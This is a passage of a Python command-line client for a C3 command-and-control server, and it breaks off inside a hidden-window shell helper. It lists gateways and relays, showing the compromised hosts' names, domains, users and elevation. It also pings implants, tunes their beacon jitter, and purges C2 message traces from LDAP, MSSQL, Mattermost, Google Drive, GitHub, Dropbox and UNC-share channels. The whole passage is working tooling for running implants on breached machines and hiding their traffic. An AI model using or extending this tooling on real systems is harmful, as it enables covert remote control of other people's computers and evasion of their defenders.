2048 lines
82 KiB
Python
2048 lines
82 KiB
Python
#!/usr/bin/python3
|
|
|
|
import os
|
|
import sys
|
|
import io
|
|
import re
|
|
import time
|
|
import json
|
|
import requests
|
|
import subprocess
|
|
import argparse
|
|
import random
|
|
import string
|
|
import zipfile
|
|
from datetime import datetime
|
|
|
|
|
|
config = {
|
|
'verbose' : False,
|
|
'debug' : False,
|
|
'host' : '',
|
|
'dry_run' : False,
|
|
'command' : '',
|
|
'format' : 'text',
|
|
'httpauth' : '',
|
|
}
|
|
|
|
commands = {
|
|
'list' : [
|
|
'gateways',
|
|
'relays'
|
|
],
|
|
'get' : [
|
|
'gateway',
|
|
'relay'
|
|
]
|
|
}
|
|
|
|
serverValidated = False
|
|
|
|
# BackendCommons.h: enum class Command : std::uint16_t
|
|
commandsMap = {
|
|
'AddDevice' : 0,
|
|
'Close' : 2**16 - 1,
|
|
'UpdateJitter' : 2**16 - 2,
|
|
'CreateRoute' : 2**16 - 3,
|
|
'RemoveRoute' : 2**16 - 4,
|
|
'SetGRC' : 2**16 - 5,
|
|
'Ping' : 2**16 - 6,
|
|
'ClearNetwork' : 2**16 - 7,
|
|
}
|
|
|
|
headers = {
|
|
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)',
|
|
}
|
|
|
|
class Logger:
|
|
@staticmethod
|
|
def _out(x):
|
|
if config['debug'] or config['verbose']:
|
|
sys.stdout.write(x + '\n')
|
|
|
|
@staticmethod
|
|
def dbg(x):
|
|
if config['debug']:
|
|
sys.stdout.write('[dbg] ' + x + '\n')
|
|
|
|
@staticmethod
|
|
def out(x):
|
|
Logger._out('[.] ' + x)
|
|
|
|
@staticmethod
|
|
def info(x):
|
|
Logger._out('[?] ' + x)
|
|
|
|
@staticmethod
|
|
def err(x):
|
|
sys.stdout.write('[!] ' + x + '\n')
|
|
|
|
@staticmethod
|
|
def fatal(x):
|
|
sys.stdout.write('[!] ' + x + '\n')
|
|
sys.exit(1)
|
|
|
|
@staticmethod
|
|
def fail(x):
|
|
Logger._out('[-] ' + x)
|
|
|
|
@staticmethod
|
|
def ok(x):
|
|
Logger._out('[+] ' + x)
|
|
|
|
def printJson(data):
|
|
print(json.dumps(data, sort_keys=True, indent=4))
|
|
|
|
def getRequest(url, rawResp = False, stream = False):
|
|
global serverValidated
|
|
|
|
auth = None
|
|
if config['httpauth']:
|
|
user, _pass = config['httpauth'].split(':')
|
|
Logger.dbg(f'HTTP Basic Auth: {user}:{_pass}')
|
|
auth = requests.HTTPDigestAuth(user, _pass)
|
|
|
|
fullurl = config["host"] + url
|
|
Logger.info(f'GET Request: {fullurl}')
|
|
|
|
try:
|
|
resp = requests.get(fullurl, headers=headers, auth=auth, stream = stream, timeout = 5)
|
|
|
|
if not serverValidated:
|
|
try:
|
|
gateways = requests.get(config["host"] + '/api/gateway', headers=headers, auth=auth, stream = stream, timeout = 5)
|
|
if gateways.status_code < 200 or gateways.status_code > 300:
|
|
raise Exception()
|
|
|
|
serverValidated = True
|
|
except:
|
|
Logger.fatal('Server could not be validated. Are you sure your Host value points to a valid C3 webcontroller URL?')
|
|
|
|
except requests.exceptions.ConnectTimeout as e:
|
|
Logger.fatal(f'Connection with {config["host"]} timed-out.')
|
|
except Exception as e:
|
|
Logger.fatal(f'GET request failed ({url}): {e}')
|
|
|
|
Logger.dbg(f'First 512 bytes of response:\n{resp.text[:512]}')
|
|
|
|
if rawResp:
|
|
return resp
|
|
|
|
try:
|
|
ret = resp.json()
|
|
except:
|
|
ret = resp.text
|
|
|
|
return ret
|
|
|
|
def postRequest(url, data=None, contentType = 'application/json', rawResp = False):
|
|
auth = None
|
|
if config['httpauth']:
|
|
user, _pass = config['httpauth'].split(':')
|
|
Logger.dbg(f'HTTP Basic Auth: {user}:{_pass}')
|
|
auth = requests.HTTPDigestAuth(user, _pass)
|
|
|
|
fullurl = config["host"] + url
|
|
Logger.info(f'POST Request: {fullurl}')
|
|
|
|
resp = None
|
|
|
|
if config['dry_run']:
|
|
print(f'[?] Dry-run mode: Skipping post request ({url})')
|
|
if rawResp:
|
|
class MockResponse():
|
|
def __init__(self, status_code, text):
|
|
self.status_code = status_code
|
|
self.text = text
|
|
|
|
return MockResponse(201, '')
|
|
else:
|
|
return ''
|
|
|
|
if contentType.endswith('/json'):
|
|
resp = requests.post(fullurl, json=data, headers=headers, auth=auth)
|
|
else:
|
|
resp = requests.post(fullurl, data=data, headers=headers, auth=auth)
|
|
|
|
if rawResp:
|
|
return resp
|
|
|
|
try:
|
|
ret = resp.json()
|
|
except:
|
|
ret = resp.text
|
|
|
|
return ret
|
|
|
|
def printFullGateway(gatewayId):
|
|
gateway = getRequest(f'/api/gateway/{gatewayId}')
|
|
|
|
if type(gateway) == str and re.match(r'Gateway with id = \w+ not found', gateway, re.I):
|
|
Logger.err(f'Gateway with ID {gatewayId} was not found.')
|
|
if config['format'] == 'json': print('{}')
|
|
sys.exit(1)
|
|
|
|
if config['format'] == 'json':
|
|
printJson(gateway)
|
|
else:
|
|
printGatewayText(gateway)
|
|
indent = ' '
|
|
|
|
print()
|
|
|
|
print(f'{indent}Connectors:')
|
|
num = 0
|
|
cnum = 0
|
|
for c in gateway['connectors']:
|
|
cnum += 1
|
|
addr = ''
|
|
port = ''
|
|
|
|
for d in c['propertiesText']['arguments']:
|
|
if d['type'] == 'ip':
|
|
addr = d['value']
|
|
elif d['type'] == 'uint16':
|
|
port = d['value']
|
|
|
|
print(f'{indent} Connector ID: {c["iid"]}')
|
|
print(f'{indent} Host: {addr}:{port}\n')
|
|
|
|
num = 0
|
|
print(f'{indent}Channels:')
|
|
for c in gateway['channels']:
|
|
num += 1
|
|
kind = 'Channel'
|
|
name = '' # todo
|
|
|
|
if 'isNegotiationChannel' in c.keys() and c['isNegotiationChannel']:
|
|
kind = 'Negotiation Channel'
|
|
|
|
if 'isReturnChannel' in c.keys() and c['isReturnChannel']:
|
|
kind = 'Gateway Return Channel (GRC)'
|
|
|
|
print(f'''{indent}{indent}{kind} {num}:\t{name}
|
|
{indent}{indent} Jitter: {' ... '.join([str(x) for x in c['jitter']])}
|
|
{indent}{indent} Properties:''')
|
|
|
|
for arg in c['propertiesText']['arguments']:
|
|
if type(arg) == list or type(arg) == tuple:
|
|
for arg1 in arg:
|
|
print(f'''{indent}{indent} Name: {arg1['name']}
|
|
{indent}{indent} Value: {arg1['value']}
|
|
''')
|
|
else:
|
|
print(f'''{indent}{indent} Name: {arg['name']}
|
|
{indent}{indent} Value: {arg['value']}
|
|
''')
|
|
|
|
num = 0
|
|
for g in gateway['relays']:
|
|
num += 1
|
|
alive = ''
|
|
elevated = ''
|
|
|
|
if g['isActive']:
|
|
alive = '\t\t\t(+)'
|
|
|
|
if g['hostInfo']['isElevated']:
|
|
elevated = '\t\t\t(###)'
|
|
|
|
print(f'''
|
|
{indent}Relay {num}: {g['name']}
|
|
{indent} Relay ID: {g['agentId']}
|
|
{indent} Build ID: {g['buildId']}
|
|
{indent} Is active: {g['isActive']}{alive}
|
|
{indent} Timestamp: {datetime.fromtimestamp(g['timestamp'])}
|
|
{indent} Host Info:
|
|
{indent} Computer: {g['hostInfo']['computerName']}
|
|
{indent} Domain: {g['hostInfo']['domain']}
|
|
{indent} User Name: {g['hostInfo']['userName']}
|
|
{indent} Is elevated: {g['hostInfo']['isElevated']}{elevated}
|
|
{indent} OS Version: {g['hostInfo']['osVersion']}
|
|
{indent} Process ID: {g['hostInfo']['processId']}''')
|
|
|
|
|
|
def onGetGateway(args):
|
|
gateways = getRequest('/api/gateway')
|
|
for g in gateways:
|
|
if args.name.lower() == g['name'].lower():
|
|
print('\n== Relays connected to Gateway ' + g['name'] + ': ')
|
|
printFullGateway(g['agentId'])
|
|
return
|
|
|
|
printFullGateway(args.name)
|
|
|
|
def printFullRelay(r, num = 0, indent=' '):
|
|
alive = ''
|
|
elevated = ''
|
|
|
|
if r['isActive']:
|
|
alive = '\t\t\t(+)'
|
|
|
|
if r['hostInfo']['isElevated']:
|
|
elevated = '\t\t\t(###)'
|
|
|
|
print(f'''{indent}Relay {num}: {r['name']}
|
|
{indent} Relay ID: {r['agentId']}
|
|
{indent} Build ID: {r['buildId']}
|
|
{indent} Is active: {r['isActive']}{alive}
|
|
{indent} Timestamp: {datetime.fromtimestamp(r['timestamp'])}
|
|
{indent} Host Info:
|
|
{indent} Computer: {r['hostInfo']['computerName']}
|
|
{indent} Domain: {r['hostInfo']['domain']}
|
|
{indent} User Name: {r['hostInfo']['userName']}
|
|
{indent} Is elevated: {r['hostInfo']['isElevated']}{elevated}
|
|
{indent} OS Version: {r['hostInfo']['osVersion']}
|
|
{indent} Process ID: {r['hostInfo']['processId']}
|
|
''')
|
|
|
|
cnum = 0
|
|
print(f'{indent}Channels:')
|
|
for c in r['channels']:
|
|
cnum += 1
|
|
kind = 'Channel'
|
|
name = '' # todo
|
|
|
|
if 'isNegotiationChannel' in c.keys() and c['isNegotiationChannel']:
|
|
kind = 'Negotiation Channel'
|
|
|
|
if 'isReturnChannel' in c.keys() and c['isReturnChannel']:
|
|
kind = 'Gateway Return Channel (GRC)'
|
|
|
|
print(f'''{indent}{indent}{kind} {cnum}:\t{name}
|
|
{indent}{indent} Jitter: {' ... '.join([str(x) for x in c['jitter']])}
|
|
{indent}{indent} Properties:''')
|
|
|
|
for arg in c['propertiesText']['arguments']:
|
|
if type(arg) == list or type(arg) == tuple:
|
|
for arg1 in arg:
|
|
print(f'''{indent}{indent} Name: {arg1['name']}
|
|
{indent}{indent} Value: {arg1['value']}
|
|
''')
|
|
else:
|
|
print(f'''{indent}{indent} Name: {arg['name']}
|
|
{indent}{indent} Value: {arg['value']}
|
|
''')
|
|
|
|
def onGetRelay(args):
|
|
Logger.dbg('in onListRelays(): ' + str(args))
|
|
|
|
relays = collectRelays(args)
|
|
|
|
if len(relays) == 0:
|
|
Logger.err('Could not find specified Relay given neither its name nor agentId.')
|
|
if config['format'] == 'json': print('{}')
|
|
sys.exit(1)
|
|
|
|
num = 0
|
|
if config['format'] == 'text':
|
|
for gateway, relay in relays:
|
|
num += 1
|
|
printFullRelay(relay, num)
|
|
|
|
elif config['format'] == 'json':
|
|
printJson(relays)
|
|
|
|
def printGatewayText(g, num = 0):
|
|
alive = ''
|
|
if g['isActive']:
|
|
alive = '\t\t\t(+)'
|
|
print(f'''
|
|
Gateway {num}:\t{g['name']}
|
|
Gateway ID: {g['agentId']}
|
|
Build ID: {g['buildId']}
|
|
Is active: {g['isActive']}{alive}
|
|
Timestamp: {datetime.fromtimestamp(g['timestamp'])}''')
|
|
|
|
def onListGateways(args):
|
|
Logger.dbg('in onListGateways(): ' + str(args))
|
|
gateways = getRequest('/api/gateway')
|
|
|
|
if config['format'] == 'json':
|
|
printJson(gateways)
|
|
|
|
elif config['format'] == 'text':
|
|
num = 0
|
|
for g in gateways:
|
|
num += 1
|
|
if args.active:
|
|
if not g['isActive']: continue
|
|
|
|
printGatewayText(g, num)
|
|
|
|
def listGatewayRelays(gatewayId, indent = '', onlyActive = False):
|
|
relays = getRequest(f'/api/gateway/{gatewayId}')
|
|
|
|
if type(relays) == str and re.match(r'Gateway with id = \w+ not found', relays, re.I):
|
|
Logger.err(f'Gateway with ID {gatewayId} was not found.')
|
|
if config['format'] == 'json': print('{}')
|
|
sys.exit(1)
|
|
|
|
if config['format'] == 'json':
|
|
printJson(relays['relays'])
|
|
|
|
elif config['format'] == 'text':
|
|
num = 0
|
|
for g in relays['relays']:
|
|
num += 1
|
|
alive = ''
|
|
elevated = ''
|
|
|
|
if onlyActive:
|
|
if not g['isActive']: continue
|
|
|
|
if g['isActive']:
|
|
alive = '\t\t\t(+)'
|
|
|
|
if g['hostInfo']['isElevated']:
|
|
elevated = '\t\t\t(###)'
|
|
|
|
print(f'''
|
|
{indent}Relay {num}:\t{g['name']}
|
|
{indent} Relay ID: {g['agentId']}
|
|
{indent} Build ID: {g['buildId']}
|
|
{indent} Is active: {g['isActive']}{alive}
|
|
{indent} Timestamp: {datetime.fromtimestamp(g['timestamp'])}
|
|
{indent} Host Info:
|
|
{indent} Computer: {g['hostInfo']['computerName']}
|
|
{indent} Domain: {g['hostInfo']['domain']}
|
|
{indent} User Name: {g['hostInfo']['userName']}
|
|
{indent} Is elevated: {g['hostInfo']['isElevated']}
|
|
{indent} OS Version: {g['hostInfo']['osVersion']}
|
|
{indent} Process ID: {g['hostInfo']['processId']}''')
|
|
|
|
def onListRelays(args):
|
|
Logger.dbg('in onListRelays(): ')
|
|
|
|
if args.gateway_id != None:
|
|
gateways = getRequest('/api/gateway')
|
|
for g in gateways:
|
|
if args.gateway_id == g['name'].lower():
|
|
print('\n== Relays connected to Gateway ' + g['name'] + ': ')
|
|
listGatewayRelays(g['agentId'], onlyActive = args.active)
|
|
return
|
|
|
|
listGatewayRelays(args.gateway_id, onlyActive = args.active)
|
|
|
|
else:
|
|
gateways = getRequest('/api/gateway')
|
|
num = 0
|
|
relays = {}
|
|
relays['gateways'] = []
|
|
for g in gateways:
|
|
num += 1
|
|
if config['format'] == 'text':
|
|
print(f'''
|
|
Gateway {num}:\t{g['name']}''')
|
|
listGatewayRelays(g['agentId'], indent = ' ', onlyActive = args.active)
|
|
else:
|
|
relaysData = getRequest(f'/api/gateway/{g["agentId"]}')
|
|
g['relays'] = relaysData['relays']
|
|
relays['gateways'].append(g)
|
|
|
|
if config['format'] == 'json':
|
|
printJson(relays)
|
|
|
|
def collectRelays(args, nonFatal = False):
|
|
relays = []
|
|
gateways = getRequest('/api/gateway')
|
|
gateway_id = ''
|
|
relay_id = ''
|
|
|
|
if hasattr(args, 'gateway_id'):
|
|
gateway_id = args.gateway_id
|
|
Logger.info(f'Collecting relays from gateway {gateway_id}')
|
|
|
|
if hasattr(args, 'relay_id'):
|
|
relay_id = args.relay_id
|
|
Logger.info(f'Collecting relays matching name/ID: {relay_id}')
|
|
|
|
for _gateway in gateways:
|
|
if len(gateway_id) > 0:
|
|
if _gateway["agentId"].lower() != gateway_id.lower() and _gateway["name"].lower() != gateway_id.lower():
|
|
continue
|
|
|
|
gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}')
|
|
|
|
for relay in gateway['relays']:
|
|
if len(relay_id) > 0:
|
|
if relay["agentId"].lower() != relay_id.lower() and relay["name"].lower() != relay_id.lower():
|
|
continue
|
|
|
|
relays.append((gateway, relay))
|
|
|
|
if len(relays) == 0 and not nonFatal:
|
|
Logger.fatal('Could not find Relays matching filter criteria. Try changing gateway, relay criteria.')
|
|
|
|
return relays
|
|
|
|
def processCapability(gateway):
|
|
caps = getRequest(f'/api/gateway/{gateway["agentId"]}/capability')
|
|
|
|
commandIds = {}
|
|
channels = {}
|
|
peripherals = {}
|
|
|
|
for gatewayVal in caps['gateway']:
|
|
for commandVal in gatewayVal['commands']:
|
|
commandIds[commandVal['name'].lower()] = commandVal['id']
|
|
|
|
Logger.dbg(f'Gateway capability: commands: {commandVal["name"]} = {commandVal["id"]}')
|
|
|
|
for channel in caps['channels']:
|
|
channels[channel['name']] = channel['type']
|
|
|
|
for peri in caps['peripherals']:
|
|
peripherals[peri['name']] = peri['type']
|
|
|
|
Logger.dbg('Gateway supports following channels: ' + str(', '.join(channels.keys())))
|
|
Logger.dbg('Gateway supports following peripherals: ' + str(', '.join(peripherals.keys())))
|
|
|
|
capability = {
|
|
'raw' : caps,
|
|
'commandIds' : commandIds,
|
|
'channels' : channels,
|
|
'peripherals' : peripherals,
|
|
}
|
|
|
|
return capability
|
|
|
|
def getCommandIdMapping(gateway, command):
|
|
capability = processCapability(gateway)
|
|
|
|
return capability['commandIds'][command.lower()]
|
|
|
|
def onPing(args):
|
|
try:
|
|
if args.keep_pinging > 0:
|
|
while True:
|
|
print(f'[.] Sending a ping every {args.keep_pinging} seconds.')
|
|
_onPing(args)
|
|
time.sleep(args.keep_pinging)
|
|
else:
|
|
print('[.] Pinging only once...')
|
|
_onPing(args)
|
|
except KeyboardInterrupt as e:
|
|
print('[.] User stopped Pinging process.')
|
|
|
|
def _onPing(args):
|
|
relays = collectRelays(args)
|
|
|
|
if len(relays) == 0:
|
|
print('[-] No relays found that could be pinged.')
|
|
return
|
|
|
|
pinged = 0
|
|
for gateway, relay in relays:
|
|
Logger.info(f'Pinging relay {relay["name"]}...')
|
|
data = {
|
|
'name' : 'RelayCommandGroup',
|
|
'data' : {
|
|
'id' : commandsMap['Ping'],
|
|
'name' : 'Command',
|
|
'command' : 'Ping',
|
|
'arguments' : []
|
|
}
|
|
}
|
|
|
|
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command', data)
|
|
|
|
if type(ret) == dict and 'relayAgentId' in ret.keys() and ret['relayAgentId'] == relay['agentId']:
|
|
print(f'[.] Pinged relay: {relay["name"]} (id: {relay["agentId"]}) from gateway {gateway["name"]}')
|
|
pinged += 1
|
|
|
|
if pinged == 0:
|
|
print('[-] There were no active relays that could be pinged.\n')
|
|
else:
|
|
print(f'[+] Pinged {pinged} active relays.\n')
|
|
|
|
def getLastGatewayCommandID():
|
|
lastId = 0
|
|
gateways = getRequest(f'/api/gateway')
|
|
|
|
for gateway in gateways:
|
|
commands = getRequest(f'/api/gateway/{gateway["agentId"]}/command')
|
|
for comm in commands:
|
|
if comm['id'] > lastId:
|
|
lastId = comm['id']
|
|
|
|
return lastId + 1
|
|
|
|
def onAllChannelsClear(args):
|
|
channels = {
|
|
'LDAP' : onLDAPClear,
|
|
'MSSQL' : onMSSQLClearTable,
|
|
'Mattermost' : onMattermostPurge,
|
|
'GoogleDrive' : onGoogleDriveClear,
|
|
'Github' : onGithubClear,
|
|
'Dropbox' : onDropboxClear,
|
|
'UncShareFile' : onUncShareFileClear,
|
|
}
|
|
|
|
for k, v in channels.items():
|
|
print(f'\n[.] {k}: Clearing messages queue...')
|
|
v(args)
|
|
|
|
def onMattermostPurge(args):
|
|
data = {
|
|
'data' : {
|
|
'arguments' : [],
|
|
'command' : 'Clear all channel messages',
|
|
'id' : 0,
|
|
'name' : 'Mattermost'
|
|
},
|
|
'name' : 'ChannelCommandGroup'
|
|
}
|
|
|
|
channels = collectChannels(args, 'mattermost')
|
|
|
|
if len(channels) == 0:
|
|
print('[-] No channels could be found to receive Mattermost purge command.')
|
|
return
|
|
|
|
for channel in channels:
|
|
ret = postRequest(channel['url'], data)
|
|
|
|
if type(ret) == dict and 'Clear all' in str(ret):
|
|
if 'relay' in channel.keys():
|
|
print(f'[+] Purged all messages from Mattermost C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
|
|
else:
|
|
print(f'[+] Purged all messages from Mattermost C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
|
|
|
|
def onJitter(args):
|
|
gateways = getRequest('/api/gateway')
|
|
|
|
channelsToUpdate = []
|
|
|
|
for _gateway in gateways:
|
|
if len(args.gateway_id) > 0:
|
|
if _gateway["agentId"].lower() != args.gateway_id.lower() and _gateway["name"].lower() != args.gateway_id.lower():
|
|
continue
|
|
|
|
gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}')
|
|
capability = processCapability(gateway)
|
|
|
|
if len(args.relay_id) == 0:
|
|
for channel in gateway['channels']:
|
|
name = list(capability['channels'].keys())[list(capability['channels'].values()).index(channel['type'])]
|
|
if len(args.channel_id) == 0 or (name.lower() == args.channel_id.lower() or channel['iid'] == args.channel_id):
|
|
channelsToUpdate.append({
|
|
'url' : f'/api/gateway/{_gateway["agentId"]}/channel/{channel["iid"]}/command',
|
|
'name' : name,
|
|
'iid' : channel['iid'],
|
|
'agent' : gateway,
|
|
'kind' : 'Gateway',
|
|
})
|
|
|
|
for relay in gateway['relays']:
|
|
if len(args.relay_id) > 0:
|
|
if relay["agentId"].lower() != args.relay_id.lower() and relay["name"].lower() != args.relay_id.lower():
|
|
continue
|
|
|
|
for channel in relay['channels']:
|
|
name = list(capability['channels'].keys())[list(capability['channels'].values()).index(channel['type'])]
|
|
if len(args.channel_id) == 0 or (name.lower() == args.channel_id.lower() or channel['iid'] == args.channel_id):
|
|
channelsToUpdate.append({
|
|
'url' : f'/api/gateway/{_gateway["agentId"]}/relay/{relay["agentId"]}/channel/{channel["iid"]}/command',
|
|
'name' : name,
|
|
'iid' : channel['iid'],
|
|
'agent' : relay,
|
|
'kind' : 'Relay',
|
|
})
|
|
|
|
if len(channelsToUpdate) == 0:
|
|
Logger.fatal('Could not find channels that should have their Jitter updated. Try changing search criteria.')
|
|
|
|
for channel in channelsToUpdate:
|
|
data = {
|
|
"name" : "ChannelCommandGroup",
|
|
"data" : {
|
|
"id" : commandsMap['UpdateJitter'],
|
|
"name" : channel['name'],
|
|
"command" : "Set UpdateDelayJitter",
|
|
"arguments" : [
|
|
{
|
|
"type" : "float",
|
|
"name" : "Min",
|
|
"value" : str(args.min_jitter)
|
|
},
|
|
{
|
|
"type" : "float",
|
|
"name" : "Max",
|
|
"value" : str(args.max_jitter)
|
|
}
|
|
]
|
|
}
|
|
}
|
|
|
|
Logger.info(f'Updating Jitter on channel {channel["name"]} (id: {channel["iid"]}) running on {channel["kind"]} {channel["agent"]["name"]} (id: {channel["agent"]["agentId"]}) to {args.min_jitter}...{args.max_jitter}')
|
|
ret = postRequest(channel['url'], data = data, rawResp = True)
|
|
|
|
if ret.status_code == 201:
|
|
print(f'[+] Channel {channel["name"]} (id: {channel["iid"]}) running on {channel["kind"]} {channel["agent"]["name"]} (id: {channel["agent"]["agentId"]}) got its Jitter updated to {args.min_jitter}...{args.max_jitter}\n')
|
|
|
|
def onLDAPClear(args):
|
|
data = {
|
|
'data' : {
|
|
'arguments' : [],
|
|
'command' : 'Clear attribute values',
|
|
'id' : 0,
|
|
'name' : 'LDAP'
|
|
},
|
|
'name' : 'ChannelCommandGroup'
|
|
}
|
|
|
|
channels = collectChannels(args, 'ldap')
|
|
|
|
if len(channels) == 0:
|
|
print('[-] No channels could be found to receive LDAP clear attribute command.')
|
|
return
|
|
|
|
for channel in channels:
|
|
ret = postRequest(channel['url'], data)
|
|
|
|
if type(ret) == dict and 'LDAP' in str(ret):
|
|
if 'relay' in channel.keys():
|
|
print(f'[+] Cleared LDAP attribute value on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
|
|
else:
|
|
print(f'[+] Cleared LDAP attribute value on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
|
|
|
|
def onMSSQLClearTable(args):
|
|
data = {
|
|
'data' : {
|
|
'arguments' : [],
|
|
'command' : 'Clear DB Table',
|
|
'id' : 0,
|
|
'name' : 'MSSQL'
|
|
},
|
|
'name' : 'ChannelCommandGroup'
|
|
}
|
|
|
|
channels = collectChannels(args, 'mssql')
|
|
|
|
if len(channels) == 0:
|
|
print('[-] No channels could be found to receive MSSQL clear DB table command.')
|
|
return
|
|
|
|
for channel in channels:
|
|
ret = postRequest(channel['url'], data)
|
|
|
|
if type(ret) == dict and 'MSSQL' in str(ret):
|
|
if 'relay' in channel.keys():
|
|
print(f'[+] Cleared MSSQL Table on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
|
|
else:
|
|
print(f'[+] Cleared MSSQL Table value on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
|
|
|
|
def onUncShareFileClear(args):
|
|
data = {
|
|
'data' : {
|
|
'arguments' : [],
|
|
'command' : 'Remove all message files',
|
|
'id' : 0,
|
|
'name' : 'UncShareFile'
|
|
},
|
|
'name' : 'ChannelCommandGroup'
|
|
}
|
|
|
|
channels = collectChannels(args, 'uncsharefile')
|
|
|
|
if len(channels) == 0:
|
|
print('[-] No channels could be found to receive UncShareFile remove all message files command.')
|
|
return
|
|
|
|
for channel in channels:
|
|
ret = postRequest(channel['url'], data)
|
|
|
|
if type(ret) == dict and 'UncShareFile' in str(ret):
|
|
if 'relay' in channel.keys():
|
|
print(f'[+] Cleared UncShareFile message files on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
|
|
else:
|
|
print(f'[+] Cleared UncShareFile message files on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
|
|
|
|
def onDropboxClear(args):
|
|
data = {
|
|
'data' : {
|
|
'arguments' : [],
|
|
'command' : 'Remove All Files',
|
|
'id' : 1,
|
|
'name' : 'Dropbox'
|
|
},
|
|
'name' : 'ChannelCommandGroup'
|
|
}
|
|
|
|
channels = collectChannels(args, 'dropbox')
|
|
|
|
if len(channels) == 0:
|
|
print('[-] No channels could be found to receive Dropbox remove all message files command.')
|
|
return
|
|
|
|
for channel in channels:
|
|
ret = postRequest(channel['url'], data)
|
|
|
|
if type(ret) == dict and 'Dropbox' in str(ret):
|
|
if 'relay' in channel.keys():
|
|
print(f'[+] Cleared Dropbox message files on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
|
|
else:
|
|
print(f'[+] Cleared Dropbox message files on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
|
|
|
|
def onGithubClear(args):
|
|
data = {
|
|
'data' : {
|
|
'arguments' : [],
|
|
'command' : 'Remove All Files',
|
|
'id' : 1,
|
|
'name' : 'Github'
|
|
},
|
|
'name' : 'ChannelCommandGroup'
|
|
}
|
|
|
|
channels = collectChannels(args, 'github')
|
|
|
|
if len(channels) == 0:
|
|
print('[-] No channels could be found to receive Github remove all message files command.')
|
|
return
|
|
|
|
for channel in channels:
|
|
ret = postRequest(channel['url'], data)
|
|
|
|
if type(ret) == dict and 'Github' in str(ret):
|
|
if 'relay' in channel.keys():
|
|
print(f'[+] Cleared Github message files on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
|
|
else:
|
|
print(f'[+] Cleared Github message files on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
|
|
|
|
def onGoogleDriveClear(args):
|
|
data = {
|
|
'data' : {
|
|
'arguments' : [],
|
|
'command' : 'Remove All Files',
|
|
'id' : 1,
|
|
'name' : 'GoogleDrive'
|
|
},
|
|
'name' : 'ChannelCommandGroup'
|
|
}
|
|
|
|
channels = collectChannels(args, 'googledrive')
|
|
|
|
if len(channels) == 0:
|
|
print('[-] No channels could be found to receive GoogleDrive remove all message files command.')
|
|
return
|
|
|
|
for channel in channels:
|
|
ret = postRequest(channel['url'], data)
|
|
|
|
if type(ret) == dict and 'GoogleDrive' in str(ret):
|
|
if 'relay' in channel.keys():
|
|
print(f'[+] Cleared GoogleDrive message files on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
|
|
else:
|
|
print(f'[+] Cleared GoogleDrive message files on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
|
|
|
|
def getDeviceName(gateway, devicesType, deviceType):
|
|
capability = processCapability(gateway)
|
|
name = list(capability[devicesType].keys())[list(capability[devicesType].values()).index(deviceType)]
|
|
|
|
return name
|
|
|
|
def collectChannels(args, channelName):
|
|
channels = []
|
|
gateways = getRequest('/api/gateway')
|
|
gateway_id = ''
|
|
relay_id = ''
|
|
channel_id = ''
|
|
|
|
if hasattr(args, 'gateway_id'):
|
|
gateway_id = args.gateway_id
|
|
Logger.info(f'Collecting relays from gateway {gateway_id}')
|
|
|
|
if hasattr(args, 'relay_id'):
|
|
relay_id = args.relay_id
|
|
Logger.info(f'Collecting relays matching name/ID: {relay_id}')
|
|
|
|
if hasattr(args, 'channel_id'):
|
|
channel_id = args.channel_id
|
|
Logger.info(f'Collecting channels matching name/ID: {channel_id}')
|
|
|
|
for _gateway in gateways:
|
|
if len(gateway_id) > 0:
|
|
if _gateway["agentId"].lower() != gateway_id.lower() and _gateway["name"].lower() != gateway_id.lower():
|
|
continue
|
|
|
|
gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}')
|
|
|
|
for channel in gateway['channels']:
|
|
if len(channel_id) > 0:
|
|
if channel["iid"].lower() != channel_id.lower():
|
|
continue
|
|
|
|
name = getDeviceName(gateway, 'channels', channel['type'])
|
|
|
|
if name.lower() != channelName.lower():
|
|
continue
|
|
|
|
Logger.dbg(f'Adding channel {channel["iid"]} in Gateway {gateway["name"]}.')
|
|
channels.append({
|
|
'url' : f'/api/gateway/{gateway["agentId"]}/channel/{channel["iid"]}/command',
|
|
'gateway' : gateway,
|
|
'channelId' : channel['iid'],
|
|
})
|
|
|
|
for relay in gateway['relays']:
|
|
if len(relay_id) > 0:
|
|
if relay["agentId"].lower() != relay_id.lower() and relay["name"].lower() != relay_id.lower():
|
|
continue
|
|
|
|
if 'channels' in relay.keys():
|
|
for channel in relay['channels']:
|
|
if len(channel_id) > 0:
|
|
if channel["iid"].lower() != channel_id.lower():
|
|
continue
|
|
|
|
name = getDeviceName(gateway, 'channels', channel['type'])
|
|
|
|
if name.lower() != channelName.lower():
|
|
continue
|
|
|
|
Logger.dbg(f'Adding channel {channel["iid"]} in Relay {relay["name"]}.')
|
|
channels.append({
|
|
'url' : f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/channel/{channel["iid"]}/command',
|
|
'gateway' : gateway,
|
|
'relay' : relay,
|
|
'channelId' : channel['iid'],
|
|
})
|
|
|
|
return channels
|
|
|
|
def shell(cmd, alternative = False, stdErrToStdout = False, surpressStderr = False):
|
|
CREATE_NO_WINDOW = 0x08000000
|
|
si = subprocess.STARTUPINFO()
|
|
si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
|
|
si.wShowWindow = subprocess.SW_HIDE
|
|
|
|
outs = ''
|
|
errs = ''
|
|
if not alternative:
|
|
